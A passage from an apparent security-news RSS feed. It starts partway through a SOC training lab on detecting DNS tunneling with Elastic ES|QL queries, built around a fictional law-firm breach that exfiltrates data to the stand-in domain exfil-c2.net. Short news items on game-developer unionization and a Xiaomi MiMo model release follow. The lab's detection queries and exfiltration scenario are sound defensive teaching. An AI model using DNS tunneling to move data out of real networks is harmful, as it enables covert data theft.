LENGTH("exfil-c2.net") - 1)<br>| EVAL chunk_size_bytes = LENGTH(subdomain) * 6 / 8<br>| STATS<br>    total_queries         = COUNT(),<br>    unique_chunks         = COUNT_DISTINCT(dns.question.name),<br>    estimated_bytes_exfil = SUM(chunk_size_bytes),<br>    first_query           = MIN(@timestamp),<br>    last_query            = MAX(@timestamp)<br>    BY source.ip, host.name, user.name<br>| EVAL estimated_kb = ROUND(estimated_bytes_exfil / 1024, 1)<br>| EVAL estimated_mb = ROUND(estimated_bytes_exfil / 1048576, 2)<br>| SORT estimated_bytes_exfil DESC</pre><blockquote><strong>Conclusion</strong></blockquote><blockquote><em>[X]MB of data was exfiltrated across [N] days. At this volume, multiple documents could have been transmitted. Given the timing relative to the Veridian acquisition opening, case documents must be assumed compromised.</em></blockquote><blockquote><strong><em>Severity:</em></strong><em> Critical </em><strong><em>Confidence:</em></strong><em> High</em></blockquote><h3>Hunt 4 — Scope the Blast Radius: Are Other Hosts Tunnelling?</h3><p>One infected machine is an incident. Multiple infected machines is a breach. Before issuing any containment order, you need to know whether WORKSTATION-07 is the only source or if the tunnel tooling has spread.</p><pre>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.type == "A"<br>  AND dns.question.subdomain IS NOT NULL<br>| EVAL subdomain_length = LENGTH(dns.question.subdomain)<br>| STATS<br>    avg_subdomain_len = AVG(subdomain_length),<br>    query_count       = COUNT(),<br>    unique_domains    = COUNT_DISTINCT(dns.question.registered_domain)<br>    BY source.ip, host.name<br>| EVAL tunnel_score = CASE(<br>    avg_subdomain_len &gt; 50 AND query_count &gt; 500,  "HIGH — likely tunnel",<br>    avg_subdomain_len &gt; 35 AND query_count &gt; 100,  "MEDIUM — investigate",<br>    avg_subdomain_len &gt; 25,                         "LOW — monitor",<br>    "NORMAL"<br>  )<br>| WHERE tunnel_score != "NORMAL"<br>| SORT avg_subdomain_len DESC</pre><p><strong>What each line does:</strong></p><ul><li>This query runs the subdomain length analysis across <em>every</em> host simultaneously — not just the known bad one</li><li>EVAL tunnel_score = CASE(...) — scores each host with a risk label based on combined subdomain length AND query volume. A host needs both long subdomains AND high volume to score HIGH — this eliminates false positives from hosts that occasionally query long-named but legitimate services</li><li>WHERE tunnel_score != "NORMAL" — filters out all clean hosts so results focus only on anomalies</li><li>SORT avg_subdomain_len DESC — highest-risk hosts first</li></ul><p><strong>What you’re looking for:</strong> Ideally, only WORKSTATION-07 appears with a HIGH score. Any other host appearing as MEDIUM or HIGH demands immediate investigation — the tunnel tool may have spread via lateral movement.</p><p>In the dataset, WORKSTATION-07 scores HIGH. All other hosts score NORMAL. The blast radius is contained to one machine.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the tunnel_score for every host that appears in results. Confirm whether any hosts other than </em><em>WORKSTATION-07 show elevated scores. Document the conclusion: contained or spreading.</em></blockquote><blockquote><em>🏁 </em><strong><em>Milestone 4 of 4 — Blast Radius Scoped</em></strong></blockquote><pre>## 🔍 Milestone 4: Blast Radius Assessment<br><br>### Host Risk Scores<br>| Hostname          | Source IP      | Avg Subdomain Len | Query Count | Tunnel Score    |<br>|-------------------|----------------|-------------------|-------------|-----------------|<br>| [your finding]    | [your finding] | [your finding]    | [your finding]| [your finding]|<br>| [other hosts]     | ...            | ...               | ...         | NORMAL          |<br><br>### ES|QL Query Used<br>```esql<br>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.type == "A"<br>  AND dns.question.subdomain IS NOT NULL<br>| EVAL subdomain_length = LENGTH(dns.question.subdomain)<br>| STATS<br>    avg_subdomain_len = AVG(subdomain_length),<br>    query_count       = COUNT(),<br>    unique_domains    = COUNT_DISTINCT(dns.question.registered_domain)<br>    BY source.ip, host.name<br>| EVAL tunnel_score = CASE(<br>    avg_subdomain_len &gt; 50 AND query_count &gt; 500,  "HIGH — likely tunnel",<br>    avg_subdomain_len &gt; 35 AND query_count &gt; 100,  "MEDIUM — investigate",<br>    avg_subdomain_len &gt; 25,                         "LOW — monitor",<br>    "NORMAL"<br>  )<br>| WHERE tunnel_score != "NORMAL"<br>| SORT avg_subdomain_len DESC</pre><blockquote>Conclusion</blockquote><blockquote><em>Blast radius is [contained to WORKSTATION-07 / SPREADING — X hosts affected]. [Proceed with single-host containment / Escalate to full incident response.]</em></blockquote><blockquote><strong><em>Severity:</em></strong><em> [Critical — contained / Critical — spreading] </em><strong><em>Confidence:</em></strong><em> High</em></blockquote><h3>Recommended Immediate Actions</h3><ul><li>Isolate WORKSTATION-07 from the network</li><li>Block exfil-c2.net at DNS resolver and perimeter firewall</li><li>Preserve forensic image of WORKSTATION-07</li><li>Notify Hargrove &amp; Lyle partners — Veridian deal may be compromised</li><li>Contact Veridian acquisition team — their counterparty data may be exposed</li><li>Preserve all DNS logs for the past 30 days as legal evidence</li><li>Engage outside counsel — attorney-client privilege considerations apply</li><li>Notify cyber insurance carrier</li><li>Investigate ryan.porter — victim of compromise or insider threat?</li></ul><h3>📋 Part 5: Building Your Timeline</h3><pre>┌─────────────────────────────────────────────────────────────────────────────────┐<br>│  INCIDENT TIMELINE — Hargrove &amp; Lyle LLP / WORKSTATION-07                       │<br>├────────────────┬────────────────────────────────────────────────────────────────┤<br>│  Apr 20        │ Veridian acquisition case opened; ryan.porter assigned          │<br>│  (Day 0)       │ → Case documents loaded onto WORKSTATION-07                     │<br>├────────────────┼────────────────────────────────────────────────────────────────┤<br>│  Apr 20        │ First DNS query to exfil-c2.net                               │<br>│  ~10:00 AM     │ → Tunnel established; Base64-encoded data begins flowing       │<br>├────────────────┼────────────────────────────────────────────────────────────────┤<br>│  Apr 20–25     │ Sustained DNS tunnelling — 200+ queries/hour during work hours │<br>│  (Days 1–6)    │ → Every query carries 40–63 bytes of encoded document data    │<br>├────────────────┼────────────────────────────────────────────────────────────────┤<br>│  Apr 25        │ Anomaly flag triggers on DNS volume                            │<br>│  (Day 6)       │ → Ticket assigned to Alex Chen as "probably nothing"           │<br>├────────────────┼────────────────────────────────────────────────────────────────┤<br>│  Apr 26        │ Alex decodes first subdomain — "client-data-chunk-1"          │<br>│  9:14 AM       │ → Tunnel identified; full investigation begins                 │<br>├────────────────┼────────────────────────────────────────────────────────────────┤<br>│  Apr 26        │ Full LOLBAS chain mapped; attribution to ryan.porter confirmed │<br>│  10:47 AM      │ → WORKSTATION-07 isolated, exfil-c2.net blocked               │<br>├────────────────┼────────────────────────────────────────────────────────────────┤<br>│  Apr 26        │ Partners notified — Veridian deal paused pending investigation │<br>│  11:30 AM      │ → Outside counsel engaged; $2.4B acquisition at risk           │<br>└────────────────┴────────────────────────────────────────────────────────────────┘</pre><h3>📝 Part 6: Export Your Hunt Notebook → GitHub Portfolio</h3><p>If you followed the milestone blocks throughout this lab, your Hunt Notebook contains four completed sections covering subdomain anomaly, frequency analysis, user attribution with volume estimate, and blast radius scope.</p><p>Two paths to GitHub:</p><p><strong>Option A — Merge your milestones.</strong> Combine all four blocks, add a cover section with your name, date, executive summary and IOC table, and push as hunt-003-dns-tunneling-detection.md.</p><p><strong>Option B — Use the Hunt Forward pre-written report.</strong> Download the completed reference report from your Hunt Forward dashboard and push it directly.</p><p>That said — write your own.</p><p>This lab produced something most analysts never calculate in training: an <strong>actual estimated exfiltration volume</strong> derived from query data. That chunk_size_bytes = LENGTH(subdomain) * 6 / 8 formula — and the reasoning behind it — is the kind of thing that makes a technical interviewer pause. Write the section where you explain it in your own words. That's the part nobody else's portfolio has.</p><p>Export from the Hunt Notebook and push to GitHub as:</p><p><strong>hunt-003-dns-tunneling-detection.md</strong></p><h3>🛡️ Part 7: What Alex Did Next</h3><p>WORKSTATION-07 was isolated by 10:53 AM and the Veridian deal paused by noon — a $2.4 billion transaction held because of a DNS anomaly that almost got filed as a misconfigured endpoint. Early forensics pointed to spear-phishing six days earlier, not an insider; Alex's Hunt Notebook entry, including the ES|QL exfiltration volume estimate, became the first page of the legal hold notice filed that afternoon.</p><h3>🎓 The Takeaway</h3><pre>┌──────────────────────────────────────────────────────────────────────────────────────────────────┐<br>│  DETECTION TECHNIQUES — Hunt Forward Lab #003: DNS Tunneling                                      │<br>├────────────────────────────┬──────────────────────────────────────┬─────────────────────────────┤<br>│  Technique                 │  What It Finds                        │  ES|QL Pattern              │<br>├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤<br>│  Hunt 1                    │  Abnormally long DNS subdomains       │  EVAL subdomain_length =    │<br>│  Subdomain length analysis │  consistent with Base64 encoding     │    LENGTH(LEFT(...))        │<br>│                            │                                       │  | STATS AVG(subdomain_len) │<br>│                            │                                       │    BY source.ip, domain     │<br>├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤<br>│  Hunt 2                    │  Sustained high-rate queries to one  │  EVAL hour_bucket =         │<br>│  Query frequency analysis  │  domain with unique subdomains       │    DATE_TRUNC(1 hour, ...)  │<br>│                            │                                       │  | STATS COUNT(),           │<br>│                            │                                       │    COUNT_DISTINCT(name)     │<br>├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤<br>│  Hunt 3                    │  Tunnel attributed to specific host   │  EVAL chunk_bytes =         │<br>│  Attribution + volume      │  and user; MB estimate calculated    │    LENGTH(sub) * 6 / 8      │<br>│                            │                                       │  | STATS SUM(chunk_bytes)   │<br>│                            │                                       │    BY user.name, host.name  │<br>├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤<br>│  Hunt 4                    │  Identifies all hosts showing tunnel  │  EVAL tunnel_score =        │<br>│  Blast radius scoring      │  behaviour across the environment    │    CASE(avg_len &gt; 50        │<br>│                            │                                       │    AND count &gt; 500,         │<br>│                            │                                       │    "HIGH", ...)             │<br>└────────────────────────────┴──────────────────────────────────────┴─────────────────────────────┘</pre><p>The lesson DNS tunnelling teaches that signature-based detection can’t: <strong>protocol trust is not the same as protocol safety.</strong> DNS is trusted everywhere because breaking it breaks the internet. That trust is exactly what makes it the perfect covert channel. The only defence is behavioural — and behavioral detection requires analysts who can write the right queries.</p><h3>🚀 Ready for the Next Lab?</h3><p><strong>Coming up in the Hunt Forward series:</strong></p><ul><li><strong>Lab #004:</strong> Credential Dumping — Hunting LSASS Access in Endpoint Logs</li><li><strong>Lab #005:</strong> Persistence Mechanisms — Registry Run Keys, Scheduled Tasks &amp; Startup Folders</li><li><strong>Lab #006:</strong> Lateral Movement — Pass-the-Hash and Token Impersonation</li></ul><p><strong>👉 </strong><a href="https://hunt-forward.com/blog-series"><strong>Access all labs at huntforward.com</strong> </a>— 7-day free trial, then $5/month</p><p>Follow Hunt Forward on Medium to get notified when Lab #004 drops.</p><p><em>Hunt Forward Lab #003 — DNS Tunneling Detection</em> <em>MITRE ATT&amp;CK: T1071.004 (DNS C2) | T1048.003 (Exfiltration Over Unencrypted Protocol)</em> <em>Dataset: dns-tunnel-lab-logs | Difficulty: Intermediate</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=774f0fbf932c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-detect-dns-tunneling-with-elastic-siem-soc-analyst-hands-on-lab-hunt-forward-lab-003-774f0fbf932c">How to Detect DNS Tunneling with Elastic SIEM: SOC Analyst Hands-On Lab | Hunt Forward Lab #003</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Game devs unionize to improve working conditions on ‘Magic: The Gathering – Arena’ team]]></title>
<description><![CDATA[Developers working on Magic: The Gathering – Arena at Renton, Wash.-based Wizards of the Coast have formed a union with the Communications Workers of America, seeking protections on remote work, layoffs, AI use, and overtime. Read More]]></description>
<link>https://tsecurity.de/de/3472478/it-nachrichten/game-devs-unionize-to-improve-working-conditions-on-magic-the-gathering-arena-team/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3472478/it-nachrichten/game-devs-unionize-to-improve-working-conditions-on-magic-the-gathering-arena-team/</guid>
<pubDate>Tue, 28 Apr 2026 22:01:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="546" src="https://cdn.geekwire.com/wp-content/uploads/2026/04/uwotc_banner-1260x546.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/04/uwotc_banner-1260x546.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/04/uwotc_banner-768x333.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/04/uwotc_banner.jpg 1500w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Developers working on Magic: The Gathering – Arena at Renton, Wash.-based Wizards of the Coast have formed a union with the Communications Workers of America, seeking protections on remote work, layoffs, AI use, and overtime. <a href="https://www.geekwire.com/2026/game-devs-unionize-to-improve-working-conditions-on-magic-the-gathering-arena-team/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Magic: The Gathering Arena developers intend to form a union with the CWA]]></title>
<description><![CDATA[Magic: The Gathering Arena developers at Hasbro subsidiary Wizards of the Coast are set to join the Communications Workers of America (CWA), the union announced. The CWA says it has secured a "supermajority" among workers in favor of unionization for the chapter, called United Wizards of the Coas...]]></description>
<link>https://tsecurity.de/de/3470898/it-nachrichten/magic-the-gathering-arena-developers-intend-to-form-a-union-with-the-cwa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3470898/it-nachrichten/magic-the-gathering-arena-developers-intend-to-form-a-union-with-the-cwa/</guid>
<pubDate>Tue, 28 Apr 2026 13:01:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>Magic: The Gathering Arena</em> developers at Hasbro subsidiary Wizards of the Coast are set to join the Communications Workers of America (CWA), the union <a data-i13n="cpos:1;pos:1" href="https://cwa-union.org/news/releases/wizards-coast-developers-form-union-cwa">announced</a>. The CWA says it has secured a "supermajority" among workers in favor of unionization for the chapter, called United Wizards of the Coast (UWOTC-CWA). The CWA has filed for a formal election with the National Labor Relations Board (NLRB), but that will be withdrawn if Hasbro voluntarily recognizes the union by May 1st.</p>
<p>"At Wizards, we’re organizing for a say in layoffs, accountability that runs up and down the chain, and a living wage that actually lets people build a life," said UWOTC-CWA member and senior software engineer Damien Wilson. "I’m hopeful about what we can build here and being clear-eyed about why it’s necessary."</p>
<span></span><p>Workers have outlined several areas of concern including protections over layoffs and remote work, generative AI guardrails and mandatory crunch time, along with "increased transparency and equity" in the workplace. "This isn’t just something that affects Wizards of the Coast; it’s how most American workplaces are set up," Wilson added. "Unions are the missing counterweight to protect our craft."</p>
<p>The push to unionize was triggered back in 2023 following mass Hasbro layoffs that affected nearly 2,000 workers, software engineers told <a data-i13n="cpos:2;pos:1" href="https://kotaku.com/magic-the-gathering-arena-developers-unionize-layoff-remote-work-genai-protections-2000690932"><em>Kotaku</em></a>. Developers were also concerned about issues like remote work, saying that Hasbro and Wizards of the Coast decisions "have not aligned with the values of their employees." </p>
<p>The CWA has been involved in recent unionization drives across the games industry, with workers from <a data-i13n="cpos:3;pos:1" href="https://www.engadget.com/gaming/blizzard-teams-working-on-hearthstone-and-warcraft-rumble-unionize-182104024.html">Blizzard</a> and <a data-i13n="cpos:4;pos:1" href="https://www.engadget.com/big-tech/doom-studio-id-software-forms-wall-to-wall-union-with-a-majority-of-employees-voting-in-favor-164808829.html">ID Software</a>, along with indie devs from publishers including Heart Machine recently joining. Over 4,000 workers have organized across the industry as part of CWA's CODE (Campaign to Organize Digital Employees), according to the union. "Every worker deserves job security, fair compensation, and a seat at the table," said CWA District 7 VP Susie McAllister. </p>This article originally appeared on Engadget at https://www.engadget.com/gaming/magic-the-gathering-arena-developers-intend-to-form-a-union-with-the-cwa-104438341.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Open source Xiaomi MiMo-V2.5 and V2.5-Pro are among the most efficient (and affordable) at agentic 'claw' tasks]]></title>
<description><![CDATA[Xiaomi, the Chinese firm best known for its smartphones and electric vehicles, has lately been shipping some incredibly affordable and high-powered open source AI large language models.The trend continued today with the release of Xiaomi MiMo-V2.5 and Xiaomi MiMo-V2.5-Pro, both available under th...]]></description>
<link>https://tsecurity.de/de/3469542/it-nachrichten/open-source-xiaomi-mimo-v25-and-v25-pro-are-among-the-most-efficient-and-affordable-at-agentic-claw-tasks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3469542/it-nachrichten/open-source-xiaomi-mimo-v25-and-v25-pro-are-among-the-most-efficient-and-affordable-at-agentic-claw-tasks/</guid>
<pubDate>Tue, 28 Apr 2026 00:31:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Xiaomi, the Chinese firm best known for its smartphones and electric vehicles, has lately been shipping some incredibly affordable and high-powered open source AI large language models.</p><p>The trend continued today with the <a href="https://x.com/xiaomimimo/status/2048821516079661561?s=46">release of Xiaomi MiMo-V2.5 and Xiaomi MiMo-V2.5-Pro</a>, both available under the permissive, enterprise-friendly MIT License, making them suitable for use in production in commercial applications. Enterprises and individual/independent developers can now download either of the models (and more Xiaomi open source options) directly from <a href="https://huggingface.co/collections/XiaomiMiMo/mimo-v25">Hugging Face</a>, modify them as needed, and run them locally or on virtual private clouds as they see fit. </p><p>The most notable attribute of these models besides the open source licensing is that, according to Xiaomi's published benchmarks, they are among the most efficient available for agentic "claw" tasks, that is, powering systems such as OpenClaw, NanoClaw and Hermes Agent, in which users can communicate with them directly over third-party messaging apps and have the agents go off and complete tasks on the human user's behalf, such as making and publishing marketing content, running accounts, organizing email and scheduling, etc.</p><p>As Xiaomi's ClawEval benchmark chart shows, both MiMo-V2.5 and the Pro version in particular appear near the top left of the chart, indicating high performance in completing the benchmarked claw tasks while using the fewest amount of tokens — saving the human user money, especially in a world where more and more services such as Microsoft's GitHub Copilot are moving to usage-based billing (charging the human behind the agents for each token used rather than imposing rate limits like Anthropic or providing an "all-you-can-eat" buffet-style subscription like OpenAI). </p><p>In fact, the <b>Pro model leads the open-source field with a 63.8% success rat</b>e, consuming only ~70K tokens per trajectory. </p><p>This is roughly<b> 40–60% fewer tokens than those required by Anthropic Claude Opus 4.6, Google Gemini 3.1 Pro, and OpenAI GPT-5.4 </b>to achieve comparable results.</p><p>By combining a massive 310B-parameter architecture with a highly efficient "active" footprint and a native 1-million-token context window, Xiaomi MiMo is challenging the dominance of closed-source frontier models from Google and OpenAI, especially when it comes to the latest and greatest craze in enterprise AI deployments — agentic tasks and "claws" similar to OpenClaw.</p><h2><b>A two-pronged pincer</b></h2><p>Xiaomi has released two distinct versions of the model to serve different ends of the development spectrum: MiMo-V2.5 (the "Omni" multimodal specialist) and MiMo-V2.5-Pro (the "Agent" specialist).</p><p>While the base model provides native multimodality, the MiMo-V2.5-Pro is specifically engineered for "long-horizon coherence" and complex software engineering. </p><p>On the GDPVal-AA (Elo) benchmark, the Pro model achieved a score of 1581, surpassing competitors like Kimi K2.6 and GLM 5.1. </p><p>Xiaomi researchers further released data on several high-complexity tasks performed autonomously by V2.5-Pro:</p><ul><li><p><b>SysY Compiler in Rust:</b> The model implemented a complete compiler from scratch—including lexer, parser, and RISC-V assembly backend—in <b>4.3 hours</b>. Spanning <b>672 tool calls</b>, the model achieved a perfect <b>233/233 score</b> on hidden test suites, a task that typically takes a computer science major several weeks.</p></li><li><p><b>Full-Featured Video Editor:</b> Over <b>11.5 hours</b> and <b>1,868 tool calls</b>, the model produced an <b>8,192-line</b> desktop application featuring multi-track timelines and an export pipeline.</p></li><li><p><b>Analog EDA Optimization:</b> In a graduate-level engineering task, the model optimized a Flipped-Voltage-Follower (FVF-LDO) regulator in the TSMC 180nm process. By iterating through an ngspice simulation loop, the model improved metrics like line regulation by 22x over its initial attempt.</p></li></ul><p>These experiments highlight a "harness awareness" in V2.5-Pro, where the model actively manages its own memory and shapes its context to sustain coherence over thousands of sequential tool calls.</p><p>Over<a href="https://platform.xiaomimimo.com/docs/en-US/pricing"> the API,</a> Xiaomi is pricing the models at competitive rates for both domestic (Chinese) and international markets (like the U.S.). For overseas developers, the high-performance MiMo-V2.5-Pro is priced at $1.00 per million input tokens (for a cache miss) and $3.00 for output within context windows up to 256K. </p><p>For ultra-long context tasks between 256K and 1M tokens, the cost doubles to $2.00 for input and $6.00 for output, though the architecture’s caching capabilities offer significant relief, reducing input costs to as little as $0.20 to $0.40 per million tokens upon a cache hit. </p><p>Domestically, these rates are mirrored in yuan, with the Pro model starting at ¥7.00 per million input tokens for standard context and reaching ¥14.00 for the extended 1M range. Meanwhile, the base model starts at just $0.40 USD for overseas input per million tokens and $2.00 per million output, putting it among the more affordable third of leading LLMs globally (see our chart below):</p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input</b></p></td><td><p><b>Output</b></p></td><td><p><b>Total Cost</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>Grok 4.1 Fast</p></td><td><p>$0.20</p></td><td><p>$0.50</p></td><td><p>$0.70</p></td><td><p><a href="https://docs.x.ai/docs/pricing">xAI</a></p></td></tr><tr><td><p>MiniMax M2.7</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/docs/guides/models-intro">MiniMax</a></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Gemini 3 Flash</p></td><td><p>$0.50</p></td><td><p>$3.00</p></td><td><p>$3.50</p></td><td><p><a href="https://ai.google.dev/pricing">Google</a></p></td></tr><tr><td><p>Kimi-K2.5</p></td><td><p>$0.60</p></td><td><p>$3.00</p></td><td><p>$3.60</p></td><td><p><a href="https://platform.moonshot.cn/docs/pricing">Moonshot</a></p></td></tr><tr><td><p><b>MiMo-V2.5</b></p></td><td><p><b>$0.40</b></p></td><td><p><b>$2.00</b></p></td><td><p><b>$2.40</b></p></td><td><p><b></b><a href="https://platform.xiaomimimo.com/docs/en-US/pricing"><b>Xiaomi MiMo</b></a></p></td></tr><tr><td><p><b>MiMo-V2-Pro (≤256K)</b></p></td><td><p><b>$1.00</b></p></td><td><p><b>$3.00</b></p></td><td><p><b>$4.00</b></p></td><td><p><b></b><a href="https://platform.xiaomimimo.com/"><b>Xiaomi MiMo</b></a><b></b></p></td></tr><tr><td><p>GLM-5</p></td><td><p>$1.00</p></td><td><p>$3.20</p></td><td><p>$4.20</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GLM-5-Turbo</p></td><td><p>$1.20</p></td><td><p>$4.00</p></td><td><p>$5.20</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>DeepSeek V4 Pro</p></td><td><p>$1.74</p></td><td><p>$3.48</p></td><td><p>$5.22</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>GLM-5.1</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>Claude Haiku 4.5</p></td><td><p>$1.00</p></td><td><p>$5.00</p></td><td><p>$6.00</p></td><td><p><a href="https://www.anthropic.com/pricing">Anthropic</a></p></td></tr><tr><td><p>Qwen3-Max</p></td><td><p>$1.20</p></td><td><p>$6.00</p></td><td><p>$7.20</p></td><td><p><a href="https://www.alibabacloud.com/help/en/model-studio/developer-reference/model-pricing">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3 Pro</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.2</p></td><td><p>$1.75</p></td><td><p>$14.00</p></td><td><p>$15.75</p></td><td><p><a href="https://openai.com/pricing">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Claude Sonnet 4.5</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://www.anthropic.com/pricing">Anthropic</a></p></td></tr><tr><td><p>Claude Opus 4.7</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4 Pro</p></td><td><p>$30.00</p></td><td><p>$180.00</p></td><td><p>$210.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr></tbody></table><p>To lower the barrier for agentic development further, Xiaomi has made <b>cache writing free of charge</b> for a limited time across all models, alongside a total fee waiver for the entire <b>MiMo-V2.5-TTS</b> suite, which includes its specialized voice cloning and design features. </p><p>This pricing logic is clearly designed to accelerate the transition from simple chat applications to persistent, long-horizon agents that can operate at a fraction of the cost of legacy frontier models.</p><p>Xiaomi has also introduced an overhauled version of its subscription offerings, called the "<a href="https://platform.xiaomimimo.com/token-plan">Token Plan</a>," now available in four levels: </p><ul><li><p>The Lite "Starter Pack" provides 720 million credits for $63.36 USD per year</p></li><li><p>Standard tier offers 2.4 billion credits for $168.96 per year</p></li><li><p>A Pro tier provides 8.4 billion credits for $528.00 per year (designed for enterprise use cases)</p></li><li><p>Max —aimed at high-intensity coding enthusiasts—delivers 19.2 billion credits for $1,056.00 per year</p></li></ul><p>Beyond credit allotments, all plans include preferential API rates, a 20% discount for off-peak calls, and "Day-0" support for popular coding scaffolds like Cursor, Zed, and Claude Code.</p><p>However, both through the API and via the Token Plan, accessing the Xiaomi models from China may present barriers or additional compliance and regulatory risks to U.S.-based enterprise customers. As such, the best bet for U.S. enterprises concerned about relying on Chinese tech but wanting to take advantage of the low cost and open source models is likely setting up their own virtual private clouds or local servers, downloading the model weights, and running the models domestically. </p><h2><b>MoE architecture but divergent training regimens for V2.5 and V2.5-Pro</b></h2><p>At the <a href="https://mimo.xiaomi.com/mimo-v2-5">heart of MiMo-V2.5 </a>is a <b>Sparse Mixture-of-Experts (MoE)</b> architecture. While the model boasts a total of 310 billion parameters, only 15 billion are "active" during any given inference cycle.  </p><p>Meanwhile, <a href="https://mimo.xiaomi.com/mimo-v2-5-pro">V2.5-Pro</a> is 1.02 trilion-parameter Mixture-of-Experts model with 42 billion active parameters. </p><p>In either case, the design functions much like a specialized research hospital: while the facility has hundreds of doctors (parameters), only the specific specialists required for a particular case (query) are called into the room. </p><p>This massive increase in parameter volume for the Pro version provides the "neural capacity" required for the deep, multi-step reasoning found in complex software engineering and long-horizon tasks, as though even more specialists are available in an even larger hospital. </p><p>According to Xiaomi's blog post, the regular V2.5 follows a rigorous five-stage evolution:</p><ol><li><p><b>Text Pre-training:</b> Building a massive language backbone on 48 trillion tokens.</p></li><li><p><b>Projector Warmup:</b> Aligning in-house audio and visual encoders with the language core.</p></li><li><p><b>Multimodal Pre-training:</b> Scaling across high-quality cross-modal data.</p></li><li><p><b>Agentic Post-training:</b> Progressively extending the context window from 32K to 1M tokens.</p></li><li><p><b>RL and MOPD:</b> Utilizing Reinforcement Learning and Multimodal Preference Optimization (MOPD) to sharpen real-world reasoning and perception.</p></li></ol><p>The backbone utilizes a hybrid <b>sliding-window attention architecture</b>, inherited from MiMo-V2-Flash, which optimizes how the model "remembers" long-range information. This technical foundation enables MiMo-V2.5 to see, hear, and reason natively, rather than relying on external "plug-in" tools for visual or auditory processing.</p><p>Conversely, the training of MiMo-V2.5-Pro prioritizes "action space" over sensory perception. Instead of sensory alignment, the Pro model’s training focus shifts toward scaling post-training compute. </p><p>This process is designed to instill "harness awareness," where the model is specifically trained to manage its own memory and context within autonomous agent scaffolds like Claude Code or OpenCode. </p><p>While the base V2.5 model is trained to reason across modalities, the Pro version is trained to sustain coherence across <b>more than a thousand sequential tool calls.</b></p><p>The standard V2.5 model balances local and global attention to maintain multimodal perception. The Pro model, however, utilizes an increased hybrid attention ratio—evolving from the 5:1 ratio of previous generations to a more aggressive 7:1 ratio.</p><p> This allows the Pro model to "skim" the vast majority of its context while applying high-density attention to the specific 15% of data most relevant to its current objective, a critical feature for debugging large repositories or optimizing graduate-level circuits.</p><p>Finally, while both models undergo Reinforcement Learning (RL) and Multimodal Preference Optimization (MOPD), the objectives of these stages differ. </p><p>For MiMo-V2.5, the RL stage is used to sharpen perception and multimodal reasoning. For MiMo-V2.5-Pro, RL is focused on <b>instruction following within agentic scenarios</b>, ensuring the model adheres to subtle requirements embedded deep within ultra-long contexts and recovers gracefully from errors during autonomous execution. </p><p>This results in the Pro model's "self-correcting" discipline, as seen in its ability to diagnose and fix regressions during the 4.3-hour SysY compiler build.</p><h2><b>Full MIT License is perfect for enterprise use cases</b></h2><p>In a move that distinguishes it from many "open" models that include restrictive "Acceptable Use" policies, Xiaomi has released MiMo-V2.5 under the <b>MIT License</b>.The MIT License is the gold standard of permissive software licensing. For developers and enterprises, this means:</p><ul><li><p><b>No Authorization Required:</b> Companies can deploy the model commercially without seeking explicit permission from Xiaomi.</p></li><li><p><b>Continued Training:</b> Developers are free to fine-tune the model on proprietary data and even release those derivative 